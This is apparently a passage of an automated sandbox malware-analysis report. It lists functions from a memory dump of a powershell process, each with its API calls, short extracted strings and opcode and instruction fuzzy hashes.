Instruction ID: f72d43909fc2cb886aae9656cee39960dfeaccfc7b1c9dd6433920021e8c23de
Opcode Fuzzy Hash: 82210b81edd521d3dce38d2623ae5035ce87386d61d7dac2a5bff5bd3382191e
Instruction Fuzzy Hash: EB41203861A310CBC7249F60E86167BB3F1FFC6341FA5186DE58297360E7788850CB4A

Function 00422F30 Relevance: 7.2, APIs: 2, Strings: 2, Instructions: 248COMMON

Download Yara Rule

APIs

RtlExpandEnvironmentStrings.NTDLL(00000000,?,0000001E,00000000,00000000,?), ref: 00423065
RtlExpandEnvironmentStrings.NTDLL(00000000,?,0000001E,00000000,?,?), ref: 004230EA

Strings

obx1, xrefs: 00423029
Pbx1, xrefs: 00422FBD

Memory Dump Source

Source File: 00000008.00000002.2995280814.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_400000_powershell.jbxd

Similarity

API ID: EnvironmentExpandStrings
String ID: Pbx1$obx1
API String ID: 237503144-3160095297
Opcode ID: 5106aa6e973730c3b83cd0979d0ce10b40904b4194778254b7e470db64bab909
Instruction ID: 2d043df027a7d3965e94ad614ed74330e79769a2ec18d521d99abd520c407aeb
Opcode Fuzzy Hash: 5106aa6e973730c3b83cd0979d0ce10b40904b4194778254b7e470db64bab909
Instruction Fuzzy Hash: B881007565C311AFE320CF60EC81B1BB7E4FBC5704F11892DFA946B290D7B499068B86

Function 004191D0 Relevance: 6.8, APIs: 2, Strings: 1, Instructions: 1579COMMON

Download Yara Rule

APIs

Part of subcall function 0043E0F0: LdrInitializeThunk.NTDLL(004412BD,?,00000018,?,?,00000018,?,?,?), ref: 0043E11E

FreeLibrary.KERNEL32(?), ref: 0041996A
FreeLibrary.KERNEL32(?), ref: 00419A1B

Strings

+4, xrefs: 0041977B

Memory Dump Source

Source File: 00000008.00000002.2995280814.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_400000_powershell.jbxd

Similarity

API ID: FreeLibrary$InitializeThunk
String ID: +4
API String ID: 764372645-371006243
Opcode ID: 25c4c967580f6b0ee39a6ffa4d832c6eed86d59da8a72b0389b6280f96fd35ae
Instruction ID: e567363f145b97950688bf2fb24687bf24cae1b5c1e056b29fc721f4ee7eab79
Opcode Fuzzy Hash: 25c4c967580f6b0ee39a6ffa4d832c6eed86d59da8a72b0389b6280f96fd35ae
Instruction Fuzzy Hash: 2FB27876A463105BE710CF64CD803ABB3E2ABD4304F1AC42DE98597391E7BD9C95CB86

Function 0043D71C Relevance: 5.3, Strings: 4, Instructions: 257COMMON

Download Yara Rule

Strings

Z{V, xrefs: 0043D86C
g{V, xrefs: 0043D8BA
g{V, xrefs: 0043DA6A
Z{V, xrefs: 0043DA1C

Memory Dump Source

Source File: 00000008.00000002.2995280814.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_400000_powershell.jbxd

Similarity

API ID:
String ID: Z{V$Z{V$g{V$g{V
API String ID: 0-4205598400
Opcode ID: 791a6db6d37bca967a7d8775af97a9ff635258d7e804846fcbed0c4246788259
Instruction ID: 2735a1024a3d6ab3e679d68841893f3a8e932053e0ba995e88a79267ffb60799
Opcode Fuzzy Hash: 791a6db6d37bca967a7d8775af97a9ff635258d7e804846fcbed0c4246788259
Instruction Fuzzy Hash: E2816872D04300ABE308DF29DC4272BB6E2EFE5309F15953ED88DA7322E7788455875A

Function 00438430 Relevance: 5.2, Strings: 4, Instructions: 175COMMON

Download Yara Rule

Strings

B8, xrefs: 0043851A
~f, xrefs: 004384C5
64, xrefs: 00438521
ro, xrefs: 004384BE

Memory Dump Source

Source File: 00000008.00000002.2995280814.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_400000_powershell.jbxd

Similarity

API ID:
String ID: 64$B8$ro$~f
API String ID: 0-3005907464
Opcode ID: 67815121782669229ad639897576599399b8a1b1fb1bb0a6c3ef3cab52bda6e9
Instruction ID: f77cf1fb63027d9000466c16fe93f40d09de28bfb3c593ed1783a49cb2f31834
Opcode Fuzzy Hash: 67815121782669229ad639897576599399b8a1b1fb1bb0a6c3ef3cab52bda6e9
Instruction Fuzzy Hash: 0851E52651C3A186C7149B38850505FE7E2AFD9320F28AD2EF8E597764EA39C843C35B

Function 00417A51 Relevance: 4.6, Strings: 3, Instructions: 815COMMON

Download Yara Rule

Strings

L4, xrefs: 00418380
L4, xrefs: 004180A0
cc, xrefs: 00417D50

Memory Dump Source

Source File: 00000008.00000002.2995280814.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_400000_powershell.jbxd

Similarity

API ID:
String ID: cc$L4$L4
API String ID: 0-2811325430
Opcode ID: fe478f9096acbbc6bde1488969e9fee500b63427ddb3794dd368c5ac8ab09083
Instruction ID: bcc7170a97565d77c4348bff3c6b942111de8cda2cf3e40afdd33485117747e3
Opcode Fuzzy Hash: fe478f9096acbbc6bde1488969e9fee500b63427ddb3794dd368c5ac8ab09083
Instruction Fuzzy Hash: FC423476A083519BD724CF24C8547AFB3E2FFC5304F15892EE88997391EB399845CB86

Function 00426837 Relevance: 3.1, Strings: 2, Instructions: 556COMMON

Download Yara Rule

Strings

sub, xrefs: 00426C70, 00426C74
4w, xrefs: 00427060

Memory Dump Source

Source File: 00000008.00000002.2995280814.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_400000_powershell.jbxd

Similarity

API ID:
String ID: 4w$sub
API String ID: 0-3989355360
Opcode ID: 49237ceb415039d448eff18524d38ad99e91b372b50cd8c51f520d07d13edde3
Instruction ID: fb506ad9777267d5baf7ad5e03968dedae21db2d769d98f9343bedbe223205fe
Opcode Fuzzy Hash: 49237ceb415039d448eff18524d38ad99e91b372b50cd8c51f520d07d13edde3
Instruction Fuzzy Hash: 61027C71A082618BC7149F28D85136BB7E2EF85304F49487FE8C997382D63DDD45CB9A

Function 0043A1A9 Relevance: 2.9, Strings: 2, Instructions: 441COMMON

Download Yara Rule

Strings

X w , xrefs: 0043A450
:, xrefs: 0043A6B7

Memory Dump Source

Source File: 00000008.00000002.2995280814.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_400000_powershell.jbxd

Similarity

API ID:
String ID: :$X w
API String ID: 0-1300669176
Opcode ID: da439eb0edf64d587349cd665ca4562f53eb16d7733249cc7a6b1eb03273180c
Instruction ID: 5ded977b00c1926fc7bc06d4f9b45fa2cffaf300d00cc5cfff9bfe83dc4de463
Opcode Fuzzy Hash: da439eb0edf64d587349cd665ca4562f53eb16d7733249cc7a6b1eb03273180c
Instruction Fuzzy Hash: 70D1D43A628311CBCB189F38D8512AB73F1FF4A755F0A887DD9814B2A0E73A8D61D715

Function 00409140 Relevance: 2.9, Strings: 2, Instructions: 403COMMON

Download Yara Rule

Strings

4/, xrefs: 00409295
>:, xrefs: 0040919C

Memory Dump Source

Source File: 00000008.00000002.2995280814.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_400000_powershell.jbxd

Similarity

API ID:
String ID: 4/$>:
API String ID: 0-3529472704
Opcode ID: 821f3d929cc9ec9ff969c50021c4a1541ab36428585dd371a4b593deff11f8fc
Instruction ID: 8b1a751cfb05d5f152768d7c29b6ea9f203b357cb662e081bdd6b6ddfd1c81bd
Opcode Fuzzy Hash: 821f3d929cc9ec9ff969c50021c4a1541ab36428585dd371a4b593deff11f8fc
Instruction Fuzzy Hash: E7B1E77250C79197D325CF29C85076BFBE0EF96304F09596EE8C5AB382D2398D06C79A

Function 00421200 Relevance: 2.8, Strings: 2, Instructions: 276COMMON

Download Yara Rule

Strings

V<V<, xrefs: 00421260
C<X<, xrefs: 00421250

Memory Dump Source

Source File: 00000008.00000002.2995280814.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_400000_powershell.jbxd

Similarity

API ID:
String ID: C<X<$V<V<
API String ID: 0-2217627203
Opcode ID: 6fdfba9d35220f6eb72d435abaee4269093627fe2cbc792f237b65be4f121c62
Instruction ID: d7075f50ca02dd5208c2294db79d2b3416935b123847e84921d14f1daebbff4d
Opcode Fuzzy Hash: 6fdfba9d35220f6eb72d435abaee4269093627fe2cbc792f237b65be4f121c62
Instruction Fuzzy Hash: 958123B17043109BD720EF20DC82B6B73A5EFA1358F54452DE9898B3A0E779E904C76A

Function 0042BC3F Relevance: 2.7, Strings: 2, Instructions: 177COMMON

Download Yara Rule

Strings

{f}^, xrefs: 0042BDD6
,V^, xrefs: 0042BC52

Memory Dump Source

Source File: 00000008.00000002.2995280814.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_400000_powershell.jbxd

Similarity

API ID:
String ID: ,V^${f}^
API String ID: 0-1595990451
Opcode ID: 3b9a1f8e9a04661860723fee800bef90dc1aa205d70ae4e221e6d8bcb30e85a8
Instruction ID: cfb5c7e8e4236475c6a0308872e5c117798408d73ac891a23abfac3428d40e75
Opcode Fuzzy Hash: 3b9a1f8e9a04661860723fee800bef90dc1aa205d70ae4e221e6d8bcb30e85a8
Instruction Fuzzy Hash: C24167715142428FD3158F29D4506B6F7E2FF9A310F6944ADC0C6DB363CB35A812CB98

Function 00413DA0 Relevance: 2.1, Strings: 1, Instructions: 846COMMON

Download Yara Rule

Strings

D]+\, xrefs: 00414370

Memory Dump Source

Source File: 00000008.00000002.2995280814.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_400000_powershell.jbxd

Similarity

API ID:
String ID: D]+\
API String ID: 0-1174097187
Opcode ID: 90cf316d8f1a5e37c957787f643043824aeb3387ef8b28e3f00bda7fea272950
Instruction ID: 7004b2878cd400f1de1fa292433d6f081f3da8a2972005a462f6adbce4c46a78
Opcode Fuzzy Hash: 90cf316d8f1a5e37c957787f643043824aeb3387ef8b28e3f00bda7fea272950
Instruction Fuzzy Hash: CF3252B56043019BDB14CF28DC42B6B73A1FFC6329F04462DF995872E2E778A895C74A

Function 004146D0 Relevance: 1.7, Strings: 1, Instructions: 499COMMON

Download Yara Rule

Strings

66, xrefs: 00414763

Memory Dump Source

Source File: 00000008.00000002.2995280814.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_400000_powershell.jbxd

Similarity

API ID:
String ID: 66
API String ID: 0-3205838671
Opcode ID: 6a2eb6f4aa74a7f87497f2cc02e84040beb51a65a58fffb9d60466de3eb0c1bc
Instruction ID: 9fe8fbb1db8033f3c1f89b903ab653d0fea1255b9a6616099de0bb8dbe5f3607
Opcode Fuzzy Hash: 6a2eb6f4aa74a7f87497f2cc02e84040beb51a65a58fffb9d60466de3eb0c1bc
Instruction Fuzzy Hash: 24E115B59093508BD7209F14DC457ABB3E1FFC6314F04492EE9899B391E7389841CB9B

Function 0042A8B0 Relevance: 1.7, Strings: 1, Instructions: 411COMMON

Download Yara Rule

Strings

", xrefs: 0042AB98

Memory Dump Source

Source File: 00000008.00000002.2995280814.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_400000_powershell.jbxd

Similarity

API ID:
String ID: "
API String ID: 0-123907689
Opcode ID: 0ca39e861fa632e47d5f6bce64f6f17302d4ac7f6a551dceb9a0f9bf01575074
Instruction ID: f5867da1ea70d0d101c915f774d8f20d3652d628c40eff7af88a76f5ab517ec6
Opcode Fuzzy Hash: 0ca39e861fa632e47d5f6bce64f6f17302d4ac7f6a551dceb9a0f9bf01575074
Instruction Fuzzy Hash: B6C113B1B082205FD7148E26E45076BB7D6AF84354F89892FEC958B382D738EC54C787

Function 00417303 Relevance: 1.6, Strings: 1, Instructions: 338COMMON

Download Yara Rule

Strings

vA, xrefs: 0041751A

Memory Dump Source

Source File: 00000008.00000002.2995280814.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_400000_powershell.jbxd

Similarity

API ID:
String ID: vA
API String ID: 0-2626632682
Opcode ID: ebcf7cf2aeedbb24a8c659c7d4582e31529fad8f0b1c1028a6d108a1d64021b8
Instruction ID: 61edbe3d95db78a7c36f43a47597acbbf32b880cf722f3ac2fbffe32f33ea027
Opcode Fuzzy Hash: ebcf7cf2aeedbb24a8c659c7d4582e31529fad8f0b1c1028a6d108a1d64021b8
Instruction Fuzzy Hash: CE91F571A1D3109BC324DF28C4516ABB7F2EFD5350F04992EE8C59B391EB389941CB9A

Function 004253E5 Relevance: 1.4, Strings: 1, Instructions: 200COMMON

Download Yara Rule

Strings

dVB, xrefs: 0042565E

Memory Dump Source

Source File: 00000008.00000002.2995280814.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_400000_powershell.jbxd

Similarity

API ID:
String ID: dVB
API String ID: 0-3299631232
Opcode ID: 4afb3a0be42bc4e84ee4da61528e2b8b1700afdb80440233dbd69cf79bf1f5e7
Instruction ID: a97b9f0ef3ad75d7b6603331337a6a56183422bbfce358318dfd7cf009b5dbc9
Opcode Fuzzy Hash: 4afb3a0be42bc4e84ee4da61528e2b8b1700afdb80440233dbd69cf79bf1f5e7
Instruction Fuzzy Hash: 30513232709B618BD720CA64D4413BBF7E2EF91350F88892ED5C987385E23CE885D74A

Function 0042BCC8 Relevance: 1.4, Strings: 1, Instructions: 169COMMON

Download Yara Rule

Strings

{f}^, xrefs: 0042BDD6

Memory Dump Source

Source File: 00000008.00000002.2995280814.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_400000_powershell.jbxd

Similarity

API ID:
String ID: {f}^
API String ID: 0-3345101915
Opcode ID: f5d202ce778f47b005ea60204e4605a4ca8240e635d849a4e369c3dec0b357be
Instruction ID: 1a0e80ca4230d2559a2117eba3d642fabff395816ed48fe25275b8269107ae4a
Opcode Fuzzy Hash: f5d202ce778f47b005ea60204e4605a4ca8240e635d849a4e369c3dec0b357be
Instruction Fuzzy Hash: B64116701142528ED7258F39D4206B6F7E1EF9B300F69949DC0C6DB372DB35A812CB98

Function 0040B8A4 Relevance: 1.4, Strings: 1, Instructions: 108COMMON

Download Yara Rule

Strings

AbGb, xrefs: 0040B900

Memory Dump Source

Source File: 00000008.00000002.2995280814.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_400000_powershell.jbxd

Similarity

API ID:
String ID: AbGb
API String ID: 0-1429939900
Opcode ID: eb83c321434e39099f31fb5903d0729f5f0246303bc02a6d3ad1a735d05c9189
Instruction ID: 2a1a4ac01f946402103d47271ce3cad55cc9447f86df647dd0cf4f9e0c2e7ece
Opcode Fuzzy Hash: eb83c321434e39099f31fb5903d0729f5f0246303bc02a6d3ad1a735d05c9189
Instruction Fuzzy Hash: 4C317C76B516158BDB08CFA8CDD1BEEB7B2EF88300F199079DA01E7394D67898058B58

Function 0043E7DE Relevance: 1.3, Strings: 1, Instructions: 76COMMON

Download Yara Rule

Strings

D]+\, xrefs: 0043E7B0

Memory Dump Source

Source File: 00000008.00000002.2995280814.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_400000_powershell.jbxd

Similarity

API ID:
String ID: D]+\
API String ID: 0-1174097187
Opcode ID: 6fb55fcbf991541eeb8804c674fc3e74e595e421f3584c9616ebbc4a4cc8bc40
Instruction ID: fd81497e5cc6fa5ed09cb19eeb9559c87992125b0fed594d8fc88ac9e301bbc3
Opcode Fuzzy Hash: 6fb55fcbf991541eeb8804c674fc3e74e595e421f3584c9616ebbc4a4cc8bc40
Instruction Fuzzy Hash: C62124389293158BD724AF59D41033BB3A5AB4DB00F02683E8D82933D1D7B9AD1087CA

Function 0042DCFD Relevance: 1.3, Strings: 1, Instructions: 68COMMON

Download Yara Rule

Strings

BO, xrefs: 0042DD06

Memory Dump Source

Source File: 00000008.00000002.2995280814.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_400000_powershell.jbxd

Similarity

API ID:
String ID: BO
API String ID: 0-2594093272
Opcode ID: b08c22ce4b7c3fcd8b8aadc2e3f094a6628319684588e68ebdd772a665029c7b
Instruction ID: 5ad6301c80e653c644220d7d2e292410a4effc3e0121b6233004abf2f008a940
Opcode Fuzzy Hash: b08c22ce4b7c3fcd8b8aadc2e3f094a6628319684588e68ebdd772a665029c7b
Instruction Fuzzy Hash: BF11C1716116028BD708CF34D861776B7E1EF92310F2994ACD48BCB766EA38A851CB18

Function 0041B84B Relevance: 1.3, Strings: 1, Instructions: 57COMMON

Download Yara Rule

Strings

R=-E, xrefs: 0041B8E3

Memory Dump Source

Source File: 00000008.00000002.2995280814.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_400000_powershell.jbxd

Similarity

API ID:
String ID: R=-E
API String ID: 0-1248821510
Opcode ID: f51a2fe3d3346966447099b4c86e8089b97c653c1cfa93d090b6954b4e2939d0
Instruction ID: 95121b6fa09362eeed9389480ba3bc508d1b731d0a25e4bff4e98dd85f03e470
Opcode Fuzzy Hash: f51a2fe3d3346966447099b4c86e8089b97c653c1cfa93d090b6954b4e2939d0
Instruction Fuzzy Hash: C811AD39A193528BD319CF25C8903ABB7E1EFD6344F48686DE4C1A7351C379C90A87DA

Function 004073B0 Relevance: .6, Instructions: 625COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000008.00000002.2995280814.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_400000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f1f6aa22e07ff9151c2a9c1ab6eeb8603e95fc2437cb1f71b13a96f1cf0d2162
Instruction ID: 8616d708d026e07aece80386f0b9e6e04010ef8f876f06df7ebb8aaa5fac906c
Opcode Fuzzy Hash: f1f6aa22e07ff9151c2a9c1ab6eeb8603e95fc2437cb1f71b13a96f1cf0d2162
Instruction Fuzzy Hash: 6522A372A087118BC725DE18D8806ABB3E1BFC4319F19893ED986A7385D738B851CB57

Function 004396F0 Relevance: .6, Instructions: 612COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000008.00000002.2995280814.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_400000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: faed67c9f26094bc083ef8c26d2a56aefa0fa10467a7decd00124e1c30773be9
Instruction ID: 9eefc113a12836842297b3c252d2029d1c11762bca039c7bb9bc4e4b88698534
Opcode Fuzzy Hash: faed67c9f26094bc083ef8c26d2a56aefa0fa10467a7decd00124e1c30773be9
Instruction Fuzzy Hash: 930203366143014BD718DF29D85177BB7D2ABC8314F19A93EE886D3390DB78EC158B86

Function 0043F5C0 Relevance: .6, Instructions: 563COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000008.00000002.2995280814.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_400000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 9a2e3f1900c97fb0126f885609e66608829065437b72d60bb5809f155f634745
Instruction ID: 234df6f714af16d4f4261566cc3c7abd878bfce5ffc52740a1df4eb0bbf52fc5
Opcode Fuzzy Hash: 9a2e3f1900c97fb0126f885609e66608829065437b72d60bb5809f155f634745
Instruction Fuzzy Hash: 1202D039A18211CFD708DF28E89066AB3E1FB8E315F09887ED946C7261E735E859CB45

Function 0043F6D0 Relevance: .5, Instructions: 456COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000008.00000002.2995280814.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_400000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 976ab99eed818dddaa2dc1ebaae2a418e7ca25d3bce21848bf6af55ee17899b8
Instruction ID: d686ffac39be6d0f3f455328e8a54ab21bc9d3f7ab2562aa08db86176a306e0c
Opcode Fuzzy Hash: 976ab99eed818dddaa2dc1ebaae2a418e7ca25d3bce21848bf6af55ee17899b8
Instruction Fuzzy Hash: D2E1C139658211CFD708CF28E89066AB3E1FB8E315F19887DD546C3361E735E869CB4A

Function 0043F800 Relevance: .4, Instructions: 387COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000008.00000002.2995280814.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_400000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 235231ba7a2a0887f536877b44a6934fd6e71bc8cd2a7a9f306462706e505231
Instruction ID: b41cb7f2c52101949c77105f9f86ab1574c31dc678e915dd08def74e03ad87bd
Opcode Fuzzy Hash: 235231ba7a2a0887f536877b44a6934fd6e71bc8cd2a7a9f306462706e505231
Instruction Fuzzy Hash: 4CC1C039658211CFD708CF38E89066AB3E1FB8E315F0A987DD54683361D735E865CB4A

Function 004406F0 Relevance: .4, Instructions: 359COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000008.00000002.2995280814.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_400000_powershell.jbxd

Similarity

API ID: InitializeThunk
String ID:
API String ID: 2994545307-0
Opcode ID: c0de0d44c5665b87456b8a6249a62eb1c757cbde11c1476c6e228fc71f871466
Instruction ID: cc755e0ba5a25d7edebdce1128681661c6b511607672a390a7c3b85a764aa196
Opcode Fuzzy Hash: c0de0d44c5665b87456b8a6249a62eb1c757cbde11c1476c6e228fc71f871466
Instruction Fuzzy Hash: ADB1F676B143218BD728DE28C89067FB3E2FBD4710F05953EEA85A7391DA39AC108785

Function 0043F8B0 Relevance: .3, Instructions: 349COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000008.00000002.2995280814.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_400000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 52c76369ae0ecb2ed50f5792e05598014929a231eb6184d5f3fd9f2e871bbea1
Instruction ID: 3543f4c7ba1adf89441eec32064f8de0c7990d7915e0232de5de183476ddcd95
Opcode Fuzzy Hash: 52c76369ae0ecb2ed50f5792e05598014929a231eb6184d5f3fd9f2e871bbea1
Instruction Fuzzy Hash: F0A1C135A58211CFD718CF38E89062AB3E2FB8E311F09987DD546C3361D635E855CB4A

Function 0043F940 Relevance: .3, Instructions: 348COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000008.00000002.2995280814.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_400000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 74ea14bf07158ac8e967b689a9396f96f020e0a04e058af7c6cd7f013b7d34c5
Instruction ID: ecc22bc257a2fb0d19aac58fbc6fd3c64878980aee81a5343072ecda718e8fd7
Opcode Fuzzy Hash: 74ea14bf07158ac8e967b689a9396f96f020e0a04e058af7c6cd7f013b7d34c5
Instruction Fuzzy Hash: 2AA1B135A58211CFD718DF38D89066BB3E2EB8E305F09983DE48AD3360E635D855CB4A

Function 0041B4B9 Relevance: .2, Instructions: 212COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000008.00000002.2995280814.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_400000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d4d620547f4fe9b896f8bfcfd67c149e860623443f90c4c1fe7b19f866f05280
Instruction ID: 6c6f473fc79ef3d85c8c36f18533c20678f95552c344c83649096497dcc0b208
Opcode Fuzzy Hash: d4d620547f4fe9b896f8bfcfd67c149e860623443f90c4c1fe7b19f866f05280
Instruction Fuzzy Hash: 5B512F701083059BC3149F14C4A16B7B7F2EFAA718F19191DE4C68B3A1F3389890CBDA

Function 0041B323 Relevance: .1, Instructions: 145COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000008.00000002.2995280814.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_400000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 05773195b55cc7af3532b89651789a1302257b8947be7b90bc65f2655016c293
Instruction ID: 99ff26627ec044becbd7bb1d1d7b041eb7a4130d5f82c0f1ad4559d931f4f94b
Opcode Fuzzy Hash: 05773195b55cc7af3532b89651789a1302257b8947be7b90bc65f2655016c293
Instruction Fuzzy Hash: C141367590E3925BD3098F2584A03BBFBE2DFE2301F19606EE4D557392DB388846C75A

Function 0040E425 Relevance: .1, Instructions: 140COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000008.00000002.2995280814.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_400000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: cc078c6a64491d9b5d6d3fb6fcd8aa6389eca69b906fbcf45357792db6d23e0f
Instruction ID: 379eeb13d8fae2bbdb8185f076e4fe3c7818ff775dda8ff3e99f036fd98576b2
Opcode Fuzzy Hash: cc078c6a64491d9b5d6d3fb6fcd8aa6389eca69b906fbcf45357792db6d23e0f
Instruction Fuzzy Hash: 01510FB0405200EFEB548F26C9947127FA1FF45708F24958DD5491F3A6E3BAE846CF89

Function 0043EFF1 Relevance: .1, Instructions: 130COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000008.00000002.2995280814.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_400000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: deaa49d3fc64f653787d498b0657b5f8e3027a0f894eb2869bccbd06ddc372d9
Instruction ID: 9968eebb9502d7c28eba9f5e8a394a2395f104a33a7a43183597f6f6f2cb192a
Opcode Fuzzy Hash: deaa49d3fc64f653787d498b0657b5f8e3027a0f894eb2869bccbd06ddc372d9
Instruction Fuzzy Hash: 98410332E182244BE718CF28D99136BB7E79BC9350F1AA53DC88AD7351DA38D8058789

Function 0040E65B Relevance: .1, Instructions: 129COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000008.00000002.2995280814.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_400000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 02c129bb903568a87d97b66f7c073d4ba734cf659a798011797feb0a4926741d
Instruction ID: 5a1241caed594180818f4636cb56e571388ee4ffd58245bdd485821f6fba679c
Opcode Fuzzy Hash: 02c129bb903568a87d97b66f7c073d4ba734cf659a798011797feb0a4926741d
Instruction Fuzzy Hash: 3851EEB44052009FEB548F26C9907127FA1FF45708F24958DDA491F3A6D3BAE807CF89

Function 0043C480 Relevance: .1, Instructions: 107COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000008.00000002.2995280814.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_400000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: dcbc02cc9f74dfcce0590b2ed1df7312116b13603f5c3718c4679de04371e752
Instruction ID: c29fddc2df2daae3f42b4937981811e275a63e63cc619c343a5bb1ed9a39c9df
Opcode Fuzzy Hash: dcbc02cc9f74dfcce0590b2ed1df7312116b13603f5c3718c4679de04371e752
Instruction Fuzzy Hash: 2B31E7729092309BD710DF18C98475BB3E5EBD9744F15A82AE888A7340D37AEC458BD6

Function 0042D14C Relevance: .1, Instructions: 100COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000008.00000002.2995280814.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

